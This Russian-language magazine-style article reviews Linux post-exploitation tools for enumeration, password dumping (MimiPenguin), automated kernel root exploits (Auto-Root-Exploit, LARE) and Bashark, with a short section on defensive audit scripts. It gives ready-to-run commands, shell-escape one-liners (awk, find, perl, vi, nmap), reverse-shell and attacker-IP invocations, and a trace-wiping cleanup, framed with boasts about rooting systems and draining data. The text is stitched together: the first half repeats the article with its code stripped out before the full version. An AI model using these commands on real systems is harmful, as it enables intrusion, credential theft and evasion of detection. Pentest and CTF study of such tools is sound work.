В этом материале тебя ждет обзор и примеры применения наиболее известных и, самое главное, рабочих утилит постэксплуатации серверов с Linux. Как манипулировать системой, стать рутом или бескомпромиссно слить все данные после того, как ты уже проник внутрь защищенного корпоративного периметра, обошел десятки фаеров и хонипотов, а может, даже получил физический доступ к жертве… Расширь влияние и почувствуй себя богом!
Концепция Kill Chain в практике пентеста
Если рассматривать практику пентеста, вся цепочка событий, приводящих к какой-либо успешной атаке на целевую ИТ-инфраструктуру, условно разбивается на сменяющие друг друга последовательные этапы. Эта цепочка действий получила название Kill Chain, или, как это звучит в русской нотации, убийственная цепочка (не исключено, что данный творческий перевод сделал сам Капитан Очевидность. — Прим. ред.).
Термин сейчас очень часто используется в мире ИБ, а широкое распространение он получил после публикации доклада Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains компании Lockheed Martin, специализирующейся в области авиастроения и авиакосмической техники, в котором среди прочего описывается последовательность шагов злоумышленника, осуществляющего незаконное проникновение (взлом) в информационную систему.
Спросишь меня, как связаны Lockheed Martin и информационная безопасность? Все довольно просто: эта компания имеет прямое отношение к ВПК Соединенных Штатов. Используя опыт Минобороны и других силовых ведомств, компания еще в 2011 году сформулировала план, состоящий из семи последовательных стадий, которые выполняются одна за другой и приводят к взлому целевой системы.
Если кратко, то вот эти семь этапов ниже и есть Kill Chain.
Цепочка Kill Chain
А вот небольшой пример, иллюстрирующий ее применение (проведение атаки step-by-step).
Сценарий атаки step-by-step
Постэксплуатация, если накладывать ее на эту таблицу, реализуется на 5-й и 6-й фазах, то есть когда хакер уже проник внутрь корпоративного периметра, обойдя периметровые и некоторые end-point средства защиты, с помощью малвари или эксплоита получил доступ к системе и готов действовать дальше. Постэксплуатация предшествует 7-й фазе «Выполнение действий», когда хакер достигает, если так можно сказать, бизнес-цели своей атаки, однако прежде, чем это произойдет, необходимо закрепиться внутри сети, дособрать нужную информацию о сети и серверах, скорректировать цели, подготовить каналы связи для передачи данных и прочее. Связано это с тем, что, как правило, конфиденциальные данные не лежат на каком-то одном серваке или крутятся в одном приложении, поэтому и необходимо дальше изучать сеть, хранилища данных, искать артефакты — в этом как раз отчасти и помогают инструменты постэксплуатации.
Постэксплуатация (англ. post-exploitation) — это один из этапов взлома компьютерных систем, позволяющий собирать дальнейшую информацию о целевой системе, получить дальнейший доступ к сети и хранящимся данным. Фаза постэксплуатации позволяет идентифицировать такие вещи, как дополнительные подсети, маршрутизаторы, названия серверов, сетевых служб и установленных приложений.
Основные паттерны, по которым работают злоумышленники, предполагают:
Мы же в разделе, который пойдет ниже, сделаем акцент на рассмотрение аналогичных инструментов постэксплуатации, но исключительно под Linux-системы. Ведь все знают, что back-end крупных, особенно DevOps’вских компаний обычно вращаются именно на пингвине.
Обзор основных инструментов постэксплуатации
Общие векторы атак на целевой машине после получения доступа:
Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Окей, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.
Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед инсталляцией качаем тулзу с помощью Wget:
Устанавливаем:
Или другой вариант запуска:
Пример запуска PXEnum в Kali Linux
MIDA Multitool (Bash Script Purposed For System Enumeration, Vulnerability Identification And Privilege Escalation)
Другой интересный инструмент — MIDA Multitool, созданный на базе менее именитых собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.
По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:
Запускаем скрипт:
Меню выбора действий после запуска MIDA Multitool
Вывод некоторой информации по системе:
Данные об учетных записях в текущей системе
MimiPenguin
Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.
Устанавливаем MimiPenguin, забирая его с репозитория GitHub:
Окно терминала, отображающее процесс установки MimiPenguin
Если у тебя еще не установлен GitHub, то юзай эти команды:
Переходим в директорию MimiPenguin и запускаем скрипт:
Результат работы MimiPenguin — все пароли как на ладони
Auto-Root-Exploit
Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.
Установка в систему:
Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):
Получение сведений о версии ядра ОС в Kali Linux
Использование:
где N — это мажорный номер версии ядра ОС.
Стартовое меню выбора в Auto-Root-Exploit
Результат работы Auto-Root-Exploit — получение root-прав на систему
LARE ([L]ocal [A]uto [R]oot [E]xploiter)
И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.
Кстати, эта тулза очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.
Устанавливаем скрипт в систему:
Пример локального запуска скрипта:
или
Запуск LARE на локальной машине
Запуск скрипта на целевой машине в сети:
Атака на удаленную машину в локальной сети
Запуск на машине с подключением к базе данных эксплоитов на GitHub:
Эскалация (повышение) привилегий — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.
Проверка и защита системы от техник постэксплуатации
Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные тулзы для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.
Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.
Bashark
Bashark — популярный скрипт, который помогает пентестерам и исследователям в области безопасности тестить возможности управления системой после успешной эксплуатации.
Фирменные фичи и возможности, заявленные разработчиком:
Установка Bashark в систему
Переходим в соответствующую директорию и даем права на выполнение:
Запускаем:
Стартовое меню скрипта Bashark
Вывод информации о системе — краткий вариант
В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно заюзать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.
Сканируем удаленную машину:
Получаем конфиги:
Получаем файлы:
Получаем реверс-шелл:
Получение реверсивной оболочки на удаленной машине
Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если ты создавал файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.
Заметание следов при завершении работы скрипта
LinEnum (Local Linux Enumeration & Privilege Escalation Checks)
Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.
Скрипт успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные тулзы, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.
Установка в систему:
Простой запуск с вызовом списка ключей:
Пример запуска скрипта с опциями (ключами):
Описание ключей:
Запуск без опций означает ограниченное сканирование без файла вывода.
Стартовое меню LinEnum
Результаты запуска скрипта LinEnum
LinuxPrivChecker
Еще один полезный в нашем деле скрипт, написанный на Python. Этот сценарий предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.
Основные области проверки:
Итак, качаем скрипт:
Запускаем с помощью всего лишь одной команды:
Или другой вариант запуска:
Результаты запуска скрипта LinuxPrivChecker
Unix-privesc-check
Unix-privesc-checker — это мощный скрипт, работающий в Unix-системах (протестирован на Solaris 9, HPUX 11, различных Linux 3.х и FreeBSD 6.2+). После запуска скрипт пытается найти неправильные твики конфигурации системы, процессы, которые могут позволить локальным непривилегированным пользователям повышать привилегии других юзеров или получать доступ к локальным приложениям, например базам данных MySQL.
Основные области проверки:
Скрипт может запускаться как от имени обычного пользователя, так и от имени root. В последнем случае у скрипта больше привилегий и он может выполнить ряд тестов, недоступных из-под учетки непривилегированного пользователя. Для регулярного мониторинга запуск скрипта можно прописать как задание cron.
Пример запуска скрипта:
Запуск unix-privesc-check в терминале
Пример вывода результатов работы unix-privesc-check в output.txt
Заключение
Сегодня в материале мы рассмотрели самые популярные и, главное, рабочие инструменты, которые используются в фазе постэксплуатации. Приведенный набор тулз пригодится как участникам War Games и различных CTF-соревнований, так и опытным пентестерам, проверяющим на прочность безопасность корпоративного периметра. Также в нашем обзоре мы привели еще несколько утилит, которые позволят прочекать доверенные тебе системы на факт возможности эскалации привилегий и использования других техник постэксплуатации. Теперь ты вооружен!
Полезные ссылки
Поскольку объем нашей статьи не умещает всего, что еще можно было сказать по заявленной теме, тебе, дорогой мой друг, предоставляется счастливая возможность попрактиковаться в самостоятельном изучении и заценить вот этот список дополнительных материалов.
(c) Иван Пискунов aka g14vano
ipiskunov.blogspot.com
Концепция Kill Chain в практике пентеста
Если рассматривать практику пентеста, вся цепочка событий, приводящих к какой-либо успешной атаке на целевую ИТ-инфраструктуру, условно разбивается на сменяющие друг друга последовательные этапы. Эта цепочка действий получила название Kill Chain, или, как это звучит в русской нотации, убийственная цепочка (не исключено, что данный творческий перевод сделал сам Капитан Очевидность. — Прим. ред.).
Термин сейчас очень часто используется в мире ИБ, а широкое распространение он получил после публикации доклада Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains компании Lockheed Martin, специализирующейся в области авиастроения и авиакосмической техники, в котором среди прочего описывается последовательность шагов злоумышленника, осуществляющего незаконное проникновение (взлом) в информационную систему.
Спросишь меня, как связаны Lockheed Martin и информационная безопасность? Все довольно просто: эта компания имеет прямое отношение к ВПК Соединенных Штатов. Используя опыт Минобороны и других силовых ведомств, компания еще в 2011 году сформулировала план, состоящий из семи последовательных стадий, которые выполняются одна за другой и приводят к взлому целевой системы.
Если кратко, то вот эти семь этапов ниже и есть Kill Chain.
- Разведка. Исследование, идентификация и выбор целевой системы для взлома.
- Вооружение. Оснащение хакерскими тулзами и malware для совершения нападения.
- Доставка. Донесение вредоносного контента (тулз) до целевой системы.
- Заражение. Запуск вредоносного кода или эксплуатация уязвимостей системы.
- Инсталляция. Открытие удаленного доступа и другие действия с зараженной системой.
- Получение управления. Управление зараженной системой.
- Выполнение действий. Сбор, кража, отправка данных, шифрование файлов, подмена и удаление данных, затирание следов и так далее.
Цепочка Kill Chain
А вот небольшой пример, иллюстрирующий ее применение (проведение атаки step-by-step).
Сценарий атаки step-by-step
Постэксплуатация, если накладывать ее на эту таблицу, реализуется на 5-й и 6-й фазах, то есть когда хакер уже проник внутрь корпоративного периметра, обойдя периметровые и некоторые end-point средства защиты, с помощью малвари или эксплоита получил доступ к системе и готов действовать дальше. Постэксплуатация предшествует 7-й фазе «Выполнение действий», когда хакер достигает, если так можно сказать, бизнес-цели своей атаки, однако прежде, чем это произойдет, необходимо закрепиться внутри сети, дособрать нужную информацию о сети и серверах, скорректировать цели, подготовить каналы связи для передачи данных и прочее. Связано это с тем, что, как правило, конфиденциальные данные не лежат на каком-то одном серваке или крутятся в одном приложении, поэтому и необходимо дальше изучать сеть, хранилища данных, искать артефакты — в этом как раз отчасти и помогают инструменты постэксплуатации.
Постэксплуатация (англ. post-exploitation) — это один из этапов взлома компьютерных систем, позволяющий собирать дальнейшую информацию о целевой системе, получить дальнейший доступ к сети и хранящимся данным. Фаза постэксплуатации позволяет идентифицировать такие вещи, как дополнительные подсети, маршрутизаторы, названия серверов, сетевых служб и установленных приложений.
Основные паттерны, по которым работают злоумышленники, предполагают:
- получение доступа на выполнение произвольного кода или команд;
- изучение данных, хранящихся на сервере;
- перехват данных, которых нет на системе сейчас, но которые могут появиться в будущем;
- организация перманентного доступа к целевой системе (RAT);
- эскалация привилегий до уровня системы для непривилегированной учетной записи.
- конфигурацию системы (логин и пароль к БД в исходных кодах);
- конфигурацию веб-сервера (например, httpd.conf, .htaccess);
- исходные коды приложения (поиск уязвимостей через анализ логики приложения);
- доступ к окружению (изнутри сети может быть проще попасть на соседние серверы и изолированные сегменты подсети);
- базы данных (аутентификационная информация к другим системам, хранящаяся в них).
Мы же в разделе, который пойдет ниже, сделаем акцент на рассмотрение аналогичных инструментов постэксплуатации, но исключительно под Linux-системы. Ведь все знают, что back-end крупных, особенно DevOps’вских компаний обычно вращаются именно на пингвине.
Обзор основных инструментов постэксплуатации
Общие векторы атак на целевой машине после получения доступа:
- эскалация привилегий в системе (Vectors of Privilege Escalation);
- получение информации о дистрибутиве и ядре (OS Detail & Kernel Version);
- поиск уязвимого ПО (Any Vulnerable package installed or running);
- избыточные права доступа (Files and Folders with Full Control or Modify Access);
- файлы с разрешениями SUID (File with SUID Permissions);
- примонтированные тома (Mapped Drives (NFS));
- чувствительные файлы и директории (Potentially Interesting Files);
- изменение среды окружения (Environment Variable Path);
- модификация сетевого интерфейса и трафика (Network Information — interfaces, arp, netstat);
- модификация запущенных процессов в оперативной памяти (Running Processes);
- задачи, запускаемые по расписанию (Cronjobs);
- использование утилиты sudo для пользователя (User’s Sudo Right);
- различные манипуляции с исходным и бинарным кодом (Wildcard Injection).
Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Окей, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.
Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед инсталляцией качаем тулзу с помощью Wget:
Код:
$ wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh
Код:
$ git clone https://github.com/shawnduong/PXEnum.git
$ cd PXEnum/
$ chmod +x PXEnum.sh
$ bash PXEnum.sh
Код:
$ sh PXEnum.sh
Пример запуска PXEnum в Kali Linux
MIDA Multitool (Bash Script Purposed For System Enumeration, Vulnerability Identification And Privilege Escalation)
Другой интересный инструмент — MIDA Multitool, созданный на базе менее именитых собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.
По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:
- SysEnum — Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
- RootHelper — призван помочь в деле эскалации привилегий в системе, которая была скомпрометирована, при помощи выполнения ряда перечислений и использования доверительных сценариев.
Код:
$ git clone https://github.com/NullArray/Bash-Kit-Multitool
$ cd Bash-Kit-Multitool
$ chmod +x bashkit.sh
Код:
$ /.bashkit.sh
Меню выбора действий после запуска MIDA Multitool
Вывод некоторой информации по системе:
Данные об учетных записях в текущей системе
MimiPenguin
Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.
Устанавливаем MimiPenguin, забирая его с репозитория GitHub:
Код:
$ git clone https://github.com/huntergregal/mimipenguin
Окно терминала, отображающее процесс установки MimiPenguin
Если у тебя еще не установлен GitHub, то юзай эти команды:
Код:
$ apt install git // Debian/Ubuntu systems
$ yum install git // RHEL/CentOS systems
Код:
$ cd mimipenguin
$ ls –a
$ chmod +x mimipenguin.sh
$ ./mimipenguin.sh
Результат работы MimiPenguin — все пароли как на ладони
Auto-Root-Exploit
Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.
Установка в систему:
Код:
$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit
$ cd Auto-Root-Exploit
$ chmod +x autoroot.sh
Код:
$ uname –a
Получение сведений о версии ядра ОС в Kali Linux
Использование:
Код:
$ bash autoroot.sh N
Код:
for kernel version 2.6 all
bash autoroot.sh 2
for kernel version 3 all
bash autoroot.sh 3
for kernel version 4 all
bash autoroot.sh 4
for freebsd & openbsd all
bash autoroot.sh bsd
for apple macos all
bash autoroot.sh app
for kernel 2.6,3,4 bsd & app all
bash autoroot.sh all
Стартовое меню выбора в Auto-Root-Exploit
Результат работы Auto-Root-Exploit — получение root-прав на систему
LARE ([L]ocal [A]uto [R]oot [E]xploiter)
И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.
Кстати, эта тулза очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.
Устанавливаем скрипт в систему:
Код:
$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE
$ chmod +x LARA.sh
Код:
$ LARE.sh -a
Код:
$ ./LARE.sh -a
Запуск LARE на локальной машине
Запуск скрипта на целевой машине в сети:
Код:
$ LARE.sh -l [Attackers-IP]
Атака на удаленную машину в локальной сети
Запуск на машине с подключением к базе данных эксплоитов на GitHub:
Код:
$ LARE.sh -l or ./LARE.sh -l
Эскалация (повышение) привилегий — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.
Проверка и защита системы от техник постэксплуатации
Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные тулзы для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.
Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.
Bashark
Bashark — популярный скрипт, который помогает пентестерам и исследователям в области безопасности тестить возможности управления системой после успешной эксплуатации.
Фирменные фичи и возможности, заявленные разработчиком:
- быстрый запуск, мгновенная реакция;
- мультиплатформенность: Unix, OS X, Solaris и другие;
- отсутствие зависимостей от версии ядра ОС или установленных пакетов;
- иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
- встроенные алиасы к популярным командам;
- расширение стандартной оболочки bash-командами для постэксплуатации;
- процедура заметания следов после завершения работы (Stealthy);
- расширяемость — возможность дописывать свои команды и юзать из терминала;
- поддержка табуляции при наборе команд.
Код:
$ git clone https://github.com/TheSecondSun/Bashark.git
Установка Bashark в систему
Переходим в соответствующую директорию и даем права на выполнение:
Код:
$ cd Bashark
$ chmod +x bashark.sh
Код:
$ ./bashark.sh
Стартовое меню скрипта Bashark
Вывод информации о системе — краткий вариант
В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно заюзать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.
Сканируем удаленную машину:
Код:
$ portscan <target’s IP>
Код:
$ getconf
Код:
$ getprem
Код:
$ revshell <target’s IP> <Port 31337>
Получение реверсивной оболочки на удаленной машине
Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если ты создавал файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.
Заметание следов при завершении работы скрипта
LinEnum (Local Linux Enumeration & Privilege Escalation Checks)
Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.
Скрипт успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные тулзы, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.
Установка в систему:
Код:
$ git clone https://github.com/rebootuser/LinEnum
$ cd LinEnum/
Код:
$ ./LinEnum.sh
Код:
$ ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
Код:
-k — ввести ключевое слово
-e — указать директорию для экспорта отчета
-t — включить в отчет «длинные» тесты (дополнительные тесты)
-s — произвести проверку эскалации текущей учетки sudo perms
-r — задать имя итогового отчета
-h — вызвать встроенную справку по программе
-k — опциональный переключатель, с которым можно указать ключевое слово для поиска файлов по нескольким расширениям
Стартовое меню LinEnum
Результаты запуска скрипта LinEnum
LinuxPrivChecker
Еще один полезный в нашем деле скрипт, написанный на Python. Этот сценарий предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.
Основные области проверки:
- основная информация о системе (ОС, ядро, имя системы и так далее);
- информация о сети (ifconfig, route, netstat и т. д.);
- разная информация о файловой системе (mount, fstab, cron jobs);
- информация о пользователе (текущий пользователь, все пользователи, суперпользователи, история команд);
- права доступа к файлам и каталогам (доступные для записи файлы/каталоги, файлы suid, корневой домашний каталог);
- файлы, содержащие незашифрованные пароли;
- интересные файлы, процессы и приложения (все процессы и пакеты, все процессы, запускаемые пользователем root и связанные пакеты, версия sudo, файл конфигурации Apache);
- все установленные языки и инструменты (GCC, Perl, Python, Nmap, Netcat, Wget, FTP и так далее);
- все соответствующие эксплоиты повышения привилегий (с использованием базы данных эксплоитов с применимыми версиями ядра, пакетами/процессами программного обеспечения).
Код:
nmap
-interactive
vi
:!bash
:set shell=/bin/bash:shell
awk
awk ‘BEGIN {system(“/bin/bash”)}’
find
find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
perl
perl -e ‘exec “/bin/bash”;’
Код:
$ wget http://www.securitysift.com/download/linuxprivchecker.py
Код:
$ chmod +x linuxprivchecker.py
$ ./linuxprivchecker.py
Код:
$ python linuxprivchecker.py
Результаты запуска скрипта LinuxPrivChecker
Unix-privesc-check
Unix-privesc-checker — это мощный скрипт, работающий в Unix-системах (протестирован на Solaris 9, HPUX 11, различных Linux 3.х и FreeBSD 6.2+). После запуска скрипт пытается найти неправильные твики конфигурации системы, процессы, которые могут позволить локальным непривилегированным пользователям повышать привилегии других юзеров или получать доступ к локальным приложениям, например базам данных MySQL.
Основные области проверки:
- слабые пароли и значения по умолчанию;
- конфигурация стека IP (без ненужного использования IPv6, без форвардинга IP-пакетов и так далее);
- некорректные права доступа к файлам (чтение/изменение конфиденциальных данных);
- настройка локальных приложений (просмотр sshd_config, httpd.conf);
- другие полезные вещи (например, удаленное ведение журнала, использование небезопасных протоколов TCP/IP).
Скрипт может запускаться как от имени обычного пользователя, так и от имени root. В последнем случае у скрипта больше привилегий и он может выполнить ряд тестов, недоступных из-под учетки непривилегированного пользователя. Для регулярного мониторинга запуск скрипта можно прописать как задание cron.
Пример запуска скрипта:
Код:
$ ./unix-privesc-check > output.txt
Запуск unix-privesc-check в терминале
Пример вывода результатов работы unix-privesc-check в output.txt
Заключение
Сегодня в материале мы рассмотрели самые популярные и, главное, рабочие инструменты, которые используются в фазе постэксплуатации. Приведенный набор тулз пригодится как участникам War Games и различных CTF-соревнований, так и опытным пентестерам, проверяющим на прочность безопасность корпоративного периметра. Также в нашем обзоре мы привели еще несколько утилит, которые позволят прочекать доверенные тебе системы на факт возможности эскалации привилегий и использования других техник постэксплуатации. Теперь ты вооружен!
Полезные ссылки
Поскольку объем нашей статьи не умещает всего, что еще можно было сказать по заявленной теме, тебе, дорогой мой друг, предоставляется счастливая возможность попрактиковаться в самостоятельном изучении и заценить вот этот список дополнительных материалов.
- Linux Post Exploitation Command List — шпаргалка по основным командам постэксплуатации, которые можно самостоятельно вводить в терминале. Ничего необычного, стандартные команды, известные любому мало-мальски знающему Linux пользователю.
- Post Exploitation Collection — репозиторий GitHub, представляющий собой огромную коллекцию трюков постэксплуатации для Windows, Linux, Mac, *BSD, а также .msf4 & Metasploit scripts.
- Basic Linux Privilege Escalation — одностраничный гайд по основным векторам атак на фазе постэксплуатации.
- GitBook Post Exploitation — лютый GitBook по теме Privilege Escalation. Рассматривается куча техник эксплуатации: Kernel exploits, Programs running as root, Inside service, Suid misconfiguration, Abusing sudo-rights, Bad path configuration, Cronjob, Unmounted filesystems. Примеры готовых скриптов на Python.
- Cheeat map — еще один вариант хендбука по теме постэксплуатации с примерами команд и кода на скриптовых языках.
(c) Иван Пискунов aka g14vano
ipiskunov.blogspot.com